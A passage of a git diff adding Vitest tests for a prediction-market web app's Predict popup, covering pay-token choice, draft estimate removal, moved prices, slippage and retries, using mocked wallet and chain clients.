clock.at, + }, + }, + }, + steps: [ + { stepId: STEP_ID.createExecutor, label: "Set up your trade wallet", outcome: { status: "skipped" } }, + { stepId: STEP_ID.deposit, label: "Add money to your trade wallet", outcome: { status: "submitted", hash } }, + { stepId: STEP_ID.predict(1), label: "Making your prediction", outcome: { status: "pending" } }, + ], + }); + + const popup = open(chain, store, chain.reader, undefined, () => clock.at); + await vi.waitFor(() => expect(running()).toBe(false)); + popup.predict(); + await vi.waitFor(() => expect(screen.getByTestId("failure").textContent).toBe(UNSEEN_COPY)); + expect(screen.getByTestId("asks-to-sign-again").textContent).toBe("false"); + expect(chain.deposits()).toHaveLength(0); + + fireEvent.click(screen.getByText("discard")); + + expect(store.load(FLOW_ID)).not.toBeNull(); + expect(popup.onClose).toHaveBeenCalled(); + expect(chain.deposits()).toHaveLength(0); + }); +}); diff --git a/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictRunner.popupState.test.tsx b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictRunner.popupState.test.tsx new file mode 100644 index 00000000..015c5745 --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictRunner.popupState.test.tsx @@ -0,0 +1,642 @@ +import type { ReactNode } from "react"; + +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import { act, fireEvent, render, screen, waitFor, within } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import type { Address } from "viem"; +import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; + +import type { PredictRunInput } from "@/features/predict/hooks/usePredictRun"; +import { DEFAULT_SLIPPAGE, GAS_RESERVE_WEI } from "@/features/predict/oracle/tolerances"; +import type { PredictDriver, PredictProgress } from "@/features/predict/run/types"; +import { useEstimateStore } from "@/features/predict/stores/estimateStore"; +import { useSlippageStore } from "@/features/predict/stores/slippageStore"; +import type { PreviewTrades } from "@/features/predict/utils/plan"; +import { sessionChildRow, sessionDetailColumns } from "@/features/sessions/utils/__tests__/fixtures"; +import { toSessionDetail } from "@/features/sessions/utils/toSessionDetail"; + +import { estimateToPriceWad } from "@/utils/optionPrice"; + +import { SHOWN } from "@/test/queries"; +import { addresses, GATEWAY } from "@/testing/fixtures"; + +import { PredictCard } from "../PredictCard"; + +const THIRD_MARKET = "0x5555555555555555555555555555555555555555" as Address; +const WAD = 10n ** 18n; + +const OPTIONS = [ + { market: addresses.childMarkets[0], name: "Greta Gerwig" }, + { market: addresses.childMarkets[1], name: "Denis Villeneuve" }, + { market: THIRD_MARKET, name: "Chloe Zhao" }, +] as const; + +/** The visitor's own wallet, and the sDAI already in the trade wallet. Set per test before the popup opens. */ +const wallet = vi.hoisted(() => ({ sDai: 0n, xDai: 0n, trade: 0n })); +/** Last input the page handed the run. */ +const runInput = vi.hoisted(() => ({ current: null as PredictRunInput | null })); +const pools = vi.hoisted(() => ({ + ready: true, + failed: false, + failedAgain: false, + retrying: false, + retry: (() => {}) as () => void, +})); + +vi.mock("@/lib/graphql/batcher", () => ({ fetchGraphql: vi.fn() })); +/* The factory cannot reference imports, so GATEWAY's value is restated. */ +vi.mock("@/config/ipfs", () => ({ IPFS_GATEWAY: "https://cdn.example.link/ipfs" })); +vi.mock("@/lib/web3/public-client", () => ({ publicClient: {} })); + +vi.mock("wagmi", async (importOriginal) => { + const { DEFAULT_CHAIN_ID } = await import("@/config/chains"); + return { + ...(await importOriginal()), + useAccount: () => ({ address: "0x9999999999999999999999999999999999999999", chainId: DEFAULT_CHAIN_ID }), + }; +}); + +// The test chain has no Seer router or sDAI adapter; the session's collateral stands in for sDAI so xDAI is payable. +vi.mock("@/config/contracts", async (importOriginal) => ({ + ...(await importOriginal()), + gnosisRouterAddress: () => "0x7777777777777777777777777777777777777777", + tradeExecutorFactoryAddress: () => "0x6666666666666666666666666666666666666666", + sDaiDepositRoute: (collateral: Address) => ({ + sDai: collateral, + sDaiAdapter: "0x4444444444444444444444444444444444444444", + }), +})); + +vi.mock("@/features/trade-executor/api/getExecutor", async (importOriginal) => ({ + ...(await importOriginal()), + useExecutor: () => ({ data: { predicted: "0x8888888888888888888888888888888888888888", deployed: true } }), +})); + +// Balances as the chain reports them: native plus the asked-for token, per holder. +vi.mock("@/features/trade-executor/api/getFunds", async (importOriginal) => ({ + ...(await importOriginal()), + useFunds: (holder: Address | undefined, token: Address | undefined) => { + if (!holder) return { data: undefined, isPending: true }; + const own = holder.toLowerCase() === "0x9999999999999999999999999999999999999999"; + return { + data: { native: own ? wallet.xDai : 0n, token: token ? (own ? wallet.sDai : wallet.trade) : null }, + isPending: false, + }; + }, +})); + +// 1.25 xDAI per sDAI, read only when an sDAI address is asked for, as the real query is. +vi.mock("@/features/predict/api/getSavingsRate", () => ({ + useSavingsRate: (sDai: Address | undefined) => + sDai ? { data: (5n * 10n ** 18n) / 4n, isPending: false } : { data: undefined, isPending: true }, +})); + +vi.mock("../useHasPredicted", () => ({ useHasPredicted: () => false })); +// the pools read for Details; the run is a fake, so no plan is compared +vi.mock("../usePricePreview", async (importOriginal) => ({ + ...(await importOriginal()), + usePricePreview: () => ({ + moves: {}, + plans: {}, + held: {}, + ready: pools.ready, + failed: pools.failed, + failedAgain: pools.failedAgain, + retrying: pools.retrying, + retry: pools.retry, + }), +})); +vi.mock("@/components/wallet/EnsureChain", () => ({ default: ({ children }: { children: ReactNode }) => children })); + +const driver = { + start: vi.fn(), + recover: vi.fn(), + resume: vi.fn(), + confirm: vi.fn(), + retry: vi.fn(), + discard: vi.fn(), + reset: vi.fn(), + dispose: vi.fn(), + subscribe: vi.fn(() => () => {}), + getProgress: vi.fn(), +} satisfies PredictDriver; + +const idle: PredictProgress = { stage: "idle", steps: [], leftOut: [], batchesDone: 0, batches: 0 }; + +/** The run's progress as the page reads it; `set` re-renders the popup. */ +const run = vi.hoisted(() => { + const listeners = new Set<() => void>(); + let progress: PredictProgress = { stage: "idle", steps: [], leftOut: [], batchesDone: 0, batches: 0 }; + return { + get: () => progress, + subscribe: (listener: () => void) => { + listeners.add(listener); + return () => listeners.delete(listener); + }, + set: (next: PredictProgress) => { + progress = next; + for (const listener of listeners) listener(); + }, + }; +}); + +vi.mock("@/features/predict/hooks/usePredictRun", async () => { + const { useSyncExternalStore } = await import("react"); + return { + usePredictRun: (input: PredictRunInput | null) => { + if (input) runInput.current = input; + const progress = useSyncExternalStore(run.subscribe, run.get); + return { driver: input ? driver : null, progress }; + }, + }; +}); + +const session = () => + toSessionDetail( + { + ...sessionDetailColumns, + children: OPTIONS.map((option, index) => + sessionChildRow({ id: option.market, displayName: option.name, parentOutcomeIndex: String(index) }), + ), + }, + GATEWAY, + ); + +const ESTIMATE = 312; +const MARKET_ESTIMATE = 250; + +const savedEstimates = (parentMarket: string) => useEstimateStore.getState().estimates[parentMarket.toLowerCase()]; + +function renderPage() { + const detail = session(); + for (const option of OPTIONS) useEstimateStore.getState().setEstimate(detail.parentMarket, option.market, ESTIMATE); + const marketEstimates = Object.fromEntries(OPTIONS.map((option) => [option.market, MARKET_ESTIMATE])); + const client = new QueryClient({ defaultOptions: { queries: { retry: false } } }); + + render( + + + , + ); + return detail; +} + +const fundsSubtitle = (popup: ReturnType) => + popup.getByRole("listitem", { name: "Timeline item: Add funds" }).querySelector("h2 + p")?.textContent ?? ""; + +async function openPopup() { + await userEvent.click(screen.getByRole("button", { name: /^Predict (\d+ )?estimates?$/ })); + return within(await screen.findByRole("dialog")); +} + +/** The pay token the popup's balance line is quoted in. */ +async function balanceToken(popup: ReturnType) { + const line = await popup.findByTitle(/^Balance: /); + return line.textContent?.trim().split(" ").at(-1); +} + +const amountField = (popup: ReturnType) => popup.getByRole("spinbutton"); + +async function chooseToken(popup: ReturnType, symbol: "sDAI" | "xDAI") { + await userEvent.click(popup.getByRole("button", { name: /Token/ })); + await userEvent.click(await screen.findByRole("option", { name: symbol })); +} + +// PredictCard loads PredictRunner with next/dynamic on first open; importing it here keeps its +// first load out of the first test's timeout. +beforeAll(async () => { + await import("../PredictRunner"); +}); + +beforeEach(() => { + Object.assign(pools, { ready: true, failed: false, failedAgain: false, retrying: false, retry: vi.fn() }); + vi.clearAllMocks(); + window.localStorage.clear(); + useEstimateStore.setState({ estimates: {} }); + useSlippageStore.setState({ settings: { tradeBps: null, creditsBps: null } }); + runInput.current = null; + wallet.sDai = 0n; + wallet.xDai = 0n; + wallet.trade = 0n; + run.set(idle); +}); + +describe("estimates removed in the popup are a draft until Predict", () => { + const removals = [ + ["one estimate", [OPTIONS[0]]], + ["two estimates", [OPTIONS[0], OPTIONS[2]]], + ] as const; + + it.each(removals)("closing puts back %s removed in the popup", async (_label, removed) => { + wallet.sDai = 10n * WAD; + const detail = renderPage(); + const popup = await openPopup(); + + for (const option of removed) await userEvent.click(popup.getByRole("button", { name: `Remove ${option.name}` })); + // each row fades out before it leaves + await waitFor(() => { + for (const option of removed) expect(popup.queryByText(option.name, SHOWN)).toBeNull(); + }); + + await userEvent.click(popup.getByRole("button", { name: "Close" })); + await waitFor(() => expect(screen.queryByRole("dialog")).toBeNull()); + + expect(savedEstimates(detail.parentMarket)).toEqual( + Object.fromEntries(OPTIONS.map((option) => [option.market.toLowerCase(), ESTIMATE])), + ); + const reopened = await openPopup(); + for (const option of OPTIONS) expect(reopened.getByText(option.name, SHOWN)).toBeInTheDocument(); + }); + + it("leaves a removed estimate out of the prediction while the popup is open", async () => { + wallet.sDai = 10n * WAD; + renderPage(); + const popup = await openPopup(); + + await userEvent.click(popup.getByRole("button", { name: `Remove ${OPTIONS[1].name}` })); + + await waitFor(() => + expect(runInput.current?.options().map((option) => option.childMarket.toLowerCase())).toEqual( + [OPTIONS[0].market, OPTIONS[2].market].map((market) => market.toLowerCase()), + ), + ); + }); +}); + +describe("switching the pay token keeps the typed amount, clamped to the new balance", () => { + it("keeps an amount that fits the new token's balance, both ways", async () => { + // 10 sDAI and 8 xDAI spendable: sDAI is worth more, so the popup opens on it + wallet.sDai = 10n * WAD; + wallet.xDai = 8n * WAD + GAS_RESERVE_WEI; + renderPage(); + const popup = await openPopup(); + expect(await balanceToken(popup)).toBe("sDAI"); + + fireEvent.change(popup.getByRole("slider"), { target: { value: "50" } }); + await waitFor(() => expect(amountField(popup)).toHaveValue("5")); + expect(popup.getByText("5 sDAI from your wallet")).toBeInTheDocument(); + + // 5 xDAI is 4 sDAI at 1.25 xDAI per sDAI + await chooseToken(popup, "xDAI"); + await waitFor(() => expect(popup.getByTitle(/^Balance: 8 xDAI/)).toBeInTheDocument()); + expect(amountField(popup)).toHaveValue("5"); + expect(popup.getByText("≈ 4 sDAI from your wallet")).toBeInTheDocument(); + + await chooseToken(popup, "sDAI"); + await waitFor(() => expect(popup.getByTitle(/^Balance: 10 sDAI/)).toBeInTheDocument()); + expect(amountField(popup)).toHaveValue("5"); + expect(popup.getByText("5 sDAI from your wallet")).toBeInTheDocument(); + }); + + it("clamps an amount larger than the new token's balance to that balance", async () => { + wallet.sDai = 10n * WAD; + wallet.xDai = 5n * WAD + GAS_RESERVE_WEI; + renderPage(); + const popup = await openPopup(); + expect(await balanceToken(popup)).toBe("sDAI"); + + await userEvent.click(popup.getByRole("button", { name: "Max" })); + await waitFor(() => expect(amountField(popup)).toHaveValue("10")); + + await chooseToken(popup, "xDAI"); + await waitFor(() => expect(popup.getByTitle(/^Balance: 5 xDAI/)).toBeInTheDocument()); + expect(amountField(popup)).toHaveValue("5"); + // 5 xDAI is 4 sDAI at 1.25 xDAI per sDAI + expect(popup.getByText("≈ 4 sDAI from your wallet")).toBeInTheDocument(); + expect(popup.queryByText(/Not enough balance/)).toBeNull(); + }); +}); + +describe("the popup opens on a pay token the wallet holds", () => { + // own wallet balances; 1.25 xDAI buys 1 sDAI + const wallets = [ + { name: "only xDAI", sDai: 0n, xDai: 50n * WAD, expected: "xDAI" }, + { name: "only sDAI", sDai: 10n * WAD, xDai: 0n, expected: "sDAI" }, + { name: "more xDAI than sDAI, by value", sDai: 10n * WAD, xDai: 30n * WAD, expected: "xDAI" }, + { name: "more sDAI than xDAI, by value", sDai: 10n * WAD, xDai: 5n * WAD, expected: "sDAI" }, + { name: "nothing", sDai: 0n, xDai: 0n, expected: "sDAI" }, + ] as const; + + it.each(wallets)("opens on $expected with $name", async ({ sDai, xDai, expected }) => { + wallet.sDai = sDai; + wallet.xDai = xDai; + renderPage(); + const popup = await openPopup(); + + await waitFor(async () => expect(await balanceToken(popup)).toBe(expected)); + }); + + it("opens on xDAI again after closing when the wallet holds only xDAI", async () => { + wallet.xDai = 50n * WAD; + renderPage(); + let popup = await openPopup(); + await waitFor(async () => expect(await balanceToken(popup)).toBe("xDAI")); + + await userEvent.click(popup.getByRole("button", { name: "Close" })); + await waitFor(() => expect(screen.queryByRole("dialog")).toBeNull()); + popup = await openPopup(); + + await waitFor(async () => expect(await balanceToken(popup)).toBe("xDAI")); + expect(popup.queryByText(/Not enough balance/)).toBeNull(); + }); +}); + +describe("the funds step names what the visitor pays", () => { + it("names nothing to add for an amount over the balance", async () => { + wallet.sDai = 10n * WAD; + renderPage(); + const popup = await openPopup(); + expect(await balanceToken(popup)).toBe("sDAI"); + + await userEvent.type(amountField(popup), "999"); + + expect(await popup.findByText(/Not enough balance/)).toBeInTheDocument(); + expect(fundsSubtitle(popup)).toBe(""); + }); + + it("names an sDAI payment in sDAI alone", async () => { + wallet.sDai = 10n * WAD; + renderPage(); + const popup = await openPopup(); + expect(await balanceToken(popup)).toBe("sDAI"); + + await userEvent.type(amountField(popup), "5"); + + await waitFor(() => expect(fundsSubtitle(popup)).toBe("5 sDAI")); + }); + + it("names an xDAI payment in xDAI, held from Predict until the run stops", async () => { + wallet.xDai = 8n * WAD + GAS_RESERVE_WEI; + renderPage(); + const popup = await openPopup(); + await waitFor(async () => expect(await balanceToken(popup)).toBe("xDAI")); + + await userEvent.type(amountField(popup), "5"); + // 5 xDAI is 4 sDAI at 1.25 xDAI per sDAI + await waitFor(() => expect(fundsSubtitle(popup)).toBe("5 xDAI")); + + await userEvent.click(popup.getByRole("button", { name: "Predict" })); + expect(driver.start).toHaveBeenCalledOnce(); + act(() => run.set({ ...idle, stage: "quoting" })); + // 1 sDAI in the trade wallet leaves 3 sDAI, 3.75 xDAI, to add + wallet.trade = WAD; + act(() => run.set({ ...idle, stage: "signing" })); + expect(fundsSubtitle(popup)).toBe("5 xDAI"); + + act(() => run.set(idle)); + await waitFor(() => expect(fundsSubtitle(popup)).toBe("3.75 xDAI")); + }); +}); + +describe("prices that moved when Predict read the pools again", () => { + /** A plan that moves the option from the market's 250 to `to`, in the option's unit. */ + const planTo = (scale: Parameters[1], to: number): PreviewTrades => ({ + split: WAD, + sells: [], + merge: 0n, + buys: [{ side: "up", amountIn: WAD, toTarget: false, fee: 0n, outcomeOut: WAD }], + from: estimateToPriceWad(MARKET_ESTIMATE, scale), + to: estimateToPriceWad(to, scale), + feeValue: 0n, + }); + + async function pressPredict() { + wallet.sDai = 10n * WAD; + const detail = renderPage(); + const popup = await openPopup(); + await userEvent.type(amountField(popup), "5"); + await userEvent.click(popup.getByRole("button", { name: "Predict" })); + return { detail, popup }; + } + + function move(detail: ReturnType, to: number) { + const scale = detail.options[0]!; + act(() => + run.set({ + ...idle, + stage: "moved", + moved: { markets: [scale.market], plans: { [scale.market.toLowerCase()]: planTo(scale, to) } }, + }), + ); + } + + it("holds the run to the plans Details showed", async () => { + await pressPredict(); + + expect(driver.start).toHaveBeenCalledWith(expect.any(Object)); + }); + + it("shows the new figures and confirms them rather than starting again", async () => { + const { detail, popup } = await pressPredict(); + move(detail, 300); + + await userEvent.click(within(popup.getByTestId("predict-summary")).getAllByRole("button")[0]!); + expect(popup.getAllByTestId("market-move")[0]).toHaveTextContent(/→ 300/); + await userEvent.click(popup.getByRole("button", { name: "Confirm new prices" })); + + expect(driver.confirm).toHaveBeenCalledOnce(); + expect(driver.start).toHaveBeenCalledOnce(); + }); + + it("shows what the live quotes pay where they paid less than the plan", async () => { + const { detail, popup } = await pressPredict(); + const scale = detail.options[0]!; + const key = scale.market.toLowerCase(); + const quotes = { + [key]: { sells: [], buys: [{ side: "up" as const, amountIn: WAD, amountOut: (WAD * 98n) / 100n }] }, + }; + act(() => + run.set({ + ...idle, + stage: "moved", + moved: { markets: [scale.market], plans: { [key]: planTo(scale, 300) }, quotes }, + }), + ); + await userEvent.click(within(popup.getByTestId("predict-summary")).getAllByRole("button")[0]!); + + expect(within(popup.getByTestId("predict-summary")).getAllByText(/0\.98 UP/).length).toBeGreaterThan(0); + }); + + it("keeps the confirmed figures on show while the run goes", async () => { + const { detail, popup } = await pressPredict(); + move(detail, 300); + await userEvent.click(popup.getByRole("button", { name: "Confirm new prices" })); + + const scale = detail.options[0]!; + act(() => + run.set({ ...idle, stage: "signing", held: { plans: { [scale.market.toLowerCase()]: planTo(scale, 300) } } }), + ); + await userEvent.click(within(popup.getByTestId("predict-summary")).getAllByRole("button")[0]!); + + expect(popup.getAllByTestId("market-move")[0]).toHaveTextContent(/→ 300/); + }); + + it("keeps the funds step as pressed when a run stops at moved after its deposit landed", async () => { + const { detail, popup } = await pressPredict(); + const pressed = fundsSubtitle(popup); + wallet.trade = 5n * WAD; + const scale = detail.options[0]!; + act(() => + run.set({ + ...idle, + stage: "moved", + moneyMoved: true, + moved: { markets: [scale.market], plans: { [scale.market.toLowerCase()]: planTo(scale, 300) } }, + }), + ); + + expect(fundsSubtitle(popup)).toBe(pressed); + }); + + it("gives the form back from Go back, keeping the popup open", async () => { + const { detail, popup } = await pressPredict(); + move(detail, 300); + + await userEvent.click(popup.getByRole("button", { name: "Go back" })); + + expect(driver.reset).toHaveBeenCalled(); + expect(screen.getByRole("dialog")).toBeInTheDocument(); + }); + + it("offers no Go back once money has moved", async () => { + const { detail, popup } = await pressPredict(); + const scale = detail.options[0]!; + act(() => + run.set({ + ...idle, + stage: "moved", + moneyMoved: true, + moved: { markets: [scale.market], plans: { [scale.market.toLowerCase()]: planTo(scale, 300) } }, + }), + ); + + expect(popup.queryByRole("button", { name: "Go back" })).toBeNull(); + }); + + it("offers no Go back while a send the run held may still land", async () => { + const { detail, popup } = await pressPredict(); + const scale = detail.options[0]!; + act(() => + run.set({ + ...idle, + stage: "moved", + unanswered: true, + moved: { + markets: [scale.market], + plans: { [scale.market.toLowerCase()]: planTo(scale, 300) }, + bySlippage: true, + }, + }), + ); + + expect(popup.queryByRole("button", { name: "Go back" })).toBeNull(); + }); + + it("throws the moved check away when the popup closes", async () => { + const { detail, popup } = await pressPredict(); + move(detail, 300); + + await userEvent.click(popup.getByRole("button", { name: "Close" })); + + expect(driver.reset).toHaveBeenCalled(); + }); +}); + +describe("Predict before the pools are read", () => { + it("waits while Details reads them, and says so when they cannot be read", async () => { + wallet.sDai = 10n * WAD; + pools.ready = false; + renderPage(); + const popup = await openPopup(); + await userEvent.type(amountField(popup), "5"); + + expect(popup.getByRole("button", { name: "Predict" })).toBeDisabled(); + + pools.failed = true; + await userEvent.type(amountField(popup), "1"); + expect(popup.getByRole("status")).toHaveTextContent(/^Prices could not be read\.$/); + }); + + it("says so in new words when a second read fails too", async () => { + wallet.sDai = 10n * WAD; + pools.failed = true; + pools.failedAgain = true; + renderPage(); + const popup = await openPopup(); + + expect(popup.getByRole("status")).toHaveTextContent(/^Prices still could not be read\.$/); + }); + + it("reads them again from Try again", async () => { + wallet.sDai = 10n * WAD; + pools.failed = true; + renderPage(); + const popup = await openPopup(); + + await userEvent.click(popup.getByRole("button", { name: "Try again" })); + + expect(pools.retry).toHaveBeenCalledOnce(); + expect(driver.start).not.toHaveBeenCalled(); + }); +}); + +describe("a run stopped after money moved", () => { + it("keeps Try the rest, which needs no prices from the form, where the pools cannot be read", async () => { + wallet.sDai = 10n * WAD; + renderPage(); + const popup = await openPopup(); + pools.failed = true; + act(() => + run.set({ + ...idle, + stage: "halted", + moneyMoved: true, + failure: { reason: "reverted", retryable: true }, + held: { plans: {} }, + }), + ); + + await userEvent.click(popup.getByRole("button", { name: "Try the rest" })); + + expect(driver.retry).toHaveBeenCalledOnce(); + expect(pools.retry).not.toHaveBeenCalled(); + expect(popup.getByRole("status")).toHaveTextContent(/^The trade failed at these prices\./); + }); + + it("lets the slippage change, and Try the rest retries with the new setting for the run to take up", async () => { + wallet.sDai = 10n * WAD; + renderPage(); + const popup = await openPopup(); + act(() => + run.set({ + ...idle, + stage: "halted", + moneyMoved: true, + failure: { reason: "reverted", retryable: true }, + held: { plans: {} }, + }), + ); + + await userEvent.click(popup.getByRole("button", { name: "Settings" })); + await userEvent.type(popup.getByRole("textbox", { name: "Max slippage, custom percent" }), "3"); + await userEvent.click(popup.getByRole("button", { name: "Done" })); + await userEvent.click(popup.getByRole("button", { name: "Try the rest" })); + + expect(driver.retry).toHaveBeenCalledOnce(); + expect(runInput.current?.slippage()).toEqual({ tradeBps: 300, creditsBps: DEFAULT_SLIPPAGE.creditsBps }); + }); +}); + +describe("the slippage a run uses", () => { + it("is the visitor's setting as Predict is pressed, Auto where they set none", async () => { + wallet.sDai = 10n * WAD; + renderPage(); + const popup = await openPopup(); + + await userEvent.click(popup.getByRole("button", { name: "Settings" })); + await userEvent.type(popup.getByRole("textbox", { name: "Max slippage, custom percent" }), "3"); + await userEvent.tab(); + + expect(runInput.current?.slippage()).toEqual({ tradeBps: 300, creditsBps: DEFAULT_SLIPPAGE.creditsBps }); + }); +}); diff --git a/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictRunner.review.test.tsx b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictRunner.review.test.tsx new file mode 100644 index 00000000..df3cd829 --- /dev/null +++ b/apps/web/src/app/market/[parentMarket]/_components/__tests__/PredictRunner.review.test.tsx @@ -0,0 +1,595 @@ +import type { ReactNode } from "react"; + +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import { render, screen, waitFor, within, type RenderResult } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { + decodeFunctionData, + erc20Abi, + isAddressEqual, + TransactionNotFoundError, + TransactionReceiptNotFoundError, + UserRejectedRequestError, + type Address, + type Hash, + type Hex, +} from "viem"; +import { gnosis } from "viem/chains"; +import { afterAll, beforeEach, describe, expect, it, vi } from "vitest"; + +import type { PredictOption } from "@/features/predict/flow/types"; +import type { SelectedEstimate } from "@/features/predict/types"; +import type { SessionDetail } from "@/features/sessions/types"; +import { sessionChildRow, sessionDetailColumns } from "@/features/sessions/utils/__tests__/fixtures"; +import { toSessionDetail } from "@/features/sessions/utils/toSessionDetail"; + +import { addresses, GATEWAY } from "@/testing/fixtures"; + +import { PredictRunner } from "../PredictRunner"; +import { toPredictOptions } from "../toPredictOptions"; + +/* Predictions run on gnosis only; the test environment would otherwise default to the local chain. */ +vi.hoisted(() => { + vi.stubEnv("NEXT_PUBLIC_ENABLE_LOCAL_CHAIN", "false"); +}); + +const WAD = 10n ** 18n; + +const A = "0xa11ce000000000000000000000000000000a11ce" as Address; +const A_EXECUTOR = "0xa11ce000000000000000000000000000000e0e0a" as Address; + +/** What the visit before the reload put in, and what the form holds on reopening. */ +const SAVED = { deposit: 725n * 10n ** 16n, estimate: 410 } as const; +const CURRENT = { deposit: WAD, estimate: 250 } as const; + +const wallet = vi.hoisted(() => ({ + address: undefined as `0x${string}` | undefined, + chainId: undefined as number | undefined, +})); + +/** The amount and estimate the popup's form holds right now. */ +const form = vi.hoisted(() => ({ deposit: 0n, estimate: 0 })); + +interface Prompt { + from: `0x${string}`; + chainId: number | undefined; + to: `0x${string}`; + data?: `0x${string}`; + hash: `0x${string}`; +} + +const chain = vi.hoisted(() => ({ + prompts: [] as Prompt[], + /** One answer per prompt, in order; accept once they run out. */ + answers: [] as Array<"accept" | "reject">, + receipts: new Map(), + known: new Set(), + /** Receipt waits block until `mine()` while this is set. */ + holdMining: false, + waiting: [] as Array<() => void>, + deployed: true, + /** The target prices every build asked the chain about, in order. */ + asked: [] as bigint[][], + /** The options the last build asked the chain about, which the quoter prices. */ + options: [] as PredictOption[], +})); + +function mine() { + chain.holdMining = false; + chain.waiting.splice(0).forEach((release) => release()); +} + +vi.mock("@wagmi/core", async (importOriginal) => { + const actual = await importOriginal(); + const named = (name: string) => Object.assign(new Error(name), { name }); + const connection = () => ({ + address: wallet.address, + addresses: wallet.address ? [wallet.address] : [], + chainId: wallet.chainId, + isConnected: wallet.address !== undefined, + status: wallet.address ? "connected" : "disconnected", + }); + + return { + ...actual, + getConnection: connection, + getAccount: connection, + getChainId: () => wallet.chainId, + sendTransaction: vi.fn( + async ( + _config: unknown, + params: { + to: `0x${string}`; + data?: `0x${string}`; + account?: `0x${string}` | { address: `0x${string}` }; + chainId?: number; + }, + ) => { + if (!wallet.address) throw named("ConnectorNotConnectedError"); + const account = typeof params.account === "object" ? params.account.address : params.account; + if (account !== undefined && account.toLowerCase() !== wallet.address.toLowerCase()) { + throw named("ConnectorAccountNotFoundError"); + } + if (params.chainId !== undefined && params.chainId !== wallet.chainId) + throw named("ConnectorChainMismatchError"); + + const hash = `0x${(chain.prompts.length + 1).toString(16).padStart(64, "0")}` as `0x${string}`; + chain.prompts.push({ from: wallet.address, chainId: wallet.chainId, to: params.to, data: params.data, hash }); + if ((chain.answers.shift() ?? "accept") === "reject") { + throw new UserRejectedRequestError(new Error("User denied transaction signature.")); + } + chain.known.add(hash); + return hash; + }, + ), + }; +}); + +vi.mock("wagmi", async (importOriginal) => { + const actual = await importOriginal(); + const connection = () => ({ + ...wallet, + addresses: wallet.address ? [wallet.address] : [], + isConnected: Boolean(wallet.address), + }); + return { ...actual, useAccount: connection, useConnection: connection, useChainId: () => wallet.chainId }; +}); + +vi.mock("@/lib/web3/wagmi", () => ({ wagmiConfig: {} })); +vi.mock("@/lib/graphql/batcher", () => ({ fetchGraphql: vi.fn() })); + +vi.mock("@/lib/web3/public-client", () => { + const receipt = (hash: Hash, status: "success" | "reverted") => ({ + transactionHash: hash, + status, + blockNumber: 19_000_000n, + blockHash: `0x${"b".repeat(64)}`, + logs: [], + }); + + return { + publicClient: { + async waitForTransactionReceipt({ hash }: { hash: Hash }) { + if (!chain.receipts.has(hash) && chain.holdMining) { + await new Promise((release) => chain.waiting.push(release)); + } + const status = chain.receipts.get(hash) ?? "success"; + chain.receipts.set(hash, status); + return receipt(hash, status); + }, + async getTransactionReceipt({ hash }: { hash: Hash }) { + const status = chain.receipts.get(hash); + if (!status) throw new TransactionReceiptNotFoundError({ hash }); + return receipt(hash, status); + }, + async getTransaction({ hash }: { hash: Hash }) { + if (!chain.known.has(hash)) throw new TransactionNotFoundError({ hash }); + return { hash }; + }, + }, + }; +}); + +vi.mock("@/features/predict/run/reader", async () => { + const { chainState } = await import("@/features/predict/flow/__tests__/support/fakes"); + return { + createPredictReader: () => ({ + isExecutorDeployed: () => Promise.resolve(chain.deployed), + collateralBalance: () => Promise.resolve(0n), + creditsBalance: () => Promise.resolve(0n), + managerCollateral: () => Promise.resolve(0n), + previewDeposit: (assets: bigint) => Promise.resolve(assets), + vaultValue: (shares: bigint) => Promise.resolve(shares), + latestBlock: () => Promise.resolve(1n), + latestTimestamp: () => Promise.resolve(0n), + blockGasLimit: () => Promise.resolve(17_000_000n), + estimateGas: () => Promise.reject(new Error("execution reverted")), + landedSince: () => Promise.resolve([]), + hasPending: () => Promise.resolve(false), + nextNonce: () => Promise.resolve(0), + sentWithNonce: () => Promise.resolve({ status: "none" as const }), + optionStates: ({ options }: { options: PredictOption[] }) => { + chain.asked.push(options.map((option) => option.targetPriceWad)); + chain.options = options; + return Promise.resolve(options.map(() => chainState())); + }, + }), + }; +}); + +vi.mock("@/lib/swap/lens", async () => { + const { fakeCreditsQuoter, poolQuoter } = await import("@/features/predict/flow/__tests__/support/fakes"); + return { + createLensQuoter: () => poolQuoter(() => chain.options), + createLensExactInputQuoter: () => fakeCreditsQuoter(), + }; +}); + +vi.mock("@/features/trade-executor/api/getExecutor", async (importOriginal) => ({ + ...(await importOriginal()), + useExecutor: () => ({ data: { predicted: wallet.address ? A_EXECUTOR : undefined, deployed: chain.deployed } }), +})); + +vi.mock("../usePredictFunding", () => ({ + usePredictFunding: () => ({ + credits: { state: "none" }, + funding: { + available: 10n * 10n ** 18n, + creditsAvailable: 0n, + credits: [], + creditsIn: 0n, + collateralIn: form.deposit, + tradeWallet: 0n, + fromTradeWallet: 0n, + toAdd: form.deposit, + deposit: form.deposit, + }, + canPayNative: false, + isPending: false, + }), +})); +vi.mock("../useHasPredicted", () => ({ useHasPredicted: () => true })); +// a live preview for every estimate in the form, which a reopened run's summary must not show; its plans are +// the fake chain's pools for the form's split, which a new run is held to +vi.mock("../usePricePreview", async (importOriginal) => { + const { chainState } = await import("@/features/predict/flow/__tests__/support/fakes"); + const { previewTrades } = await import("@/features/predict/utils/plan"); + const { toPredictOptions } = await import("../toPredictOptions"); + const state = chainState(); + return { + ...(await importOriginal()), + usePricePreview: (args: { + session: SessionDetail; + selected: SelectedEstimate[]; + collateralIn: bigint | undefined; + slippageBps: number; + }) => ({ + moves: Object.fromEntries( + args.selected.map((estimate) => [estimate.scale.market.toLowerCase(), { from: 300, to: 350 }]), + ), + plans: Object.fromEntries( + toPredictOptions(args.session, args.selected).map((option) => [ + option.childMarket.toLowerCase(), + previewTrades( + { + pools: state.pools, + targetPriceWad: option.targetPriceWad, + held: state.held, + splitAmount: state.underlying + (args.collateralIn ?? 0n), + }, + args.slippageBps, + )!, + ]), + ), + held: {}, + ready: true, + failed: false, + }), + }; +}); + +afterAll(() => { + vi.unstubAllEnvs(); +}); + +const SESSION_ID = "7"; + +const session = () => + toSessionDetail( + { + ...sessionDetailColumns, + id: SESSION_ID, + collateralToken: addresses.collateralToken, + children: [sessionChildRow({ id: addresses.childMarkets[0] })], + 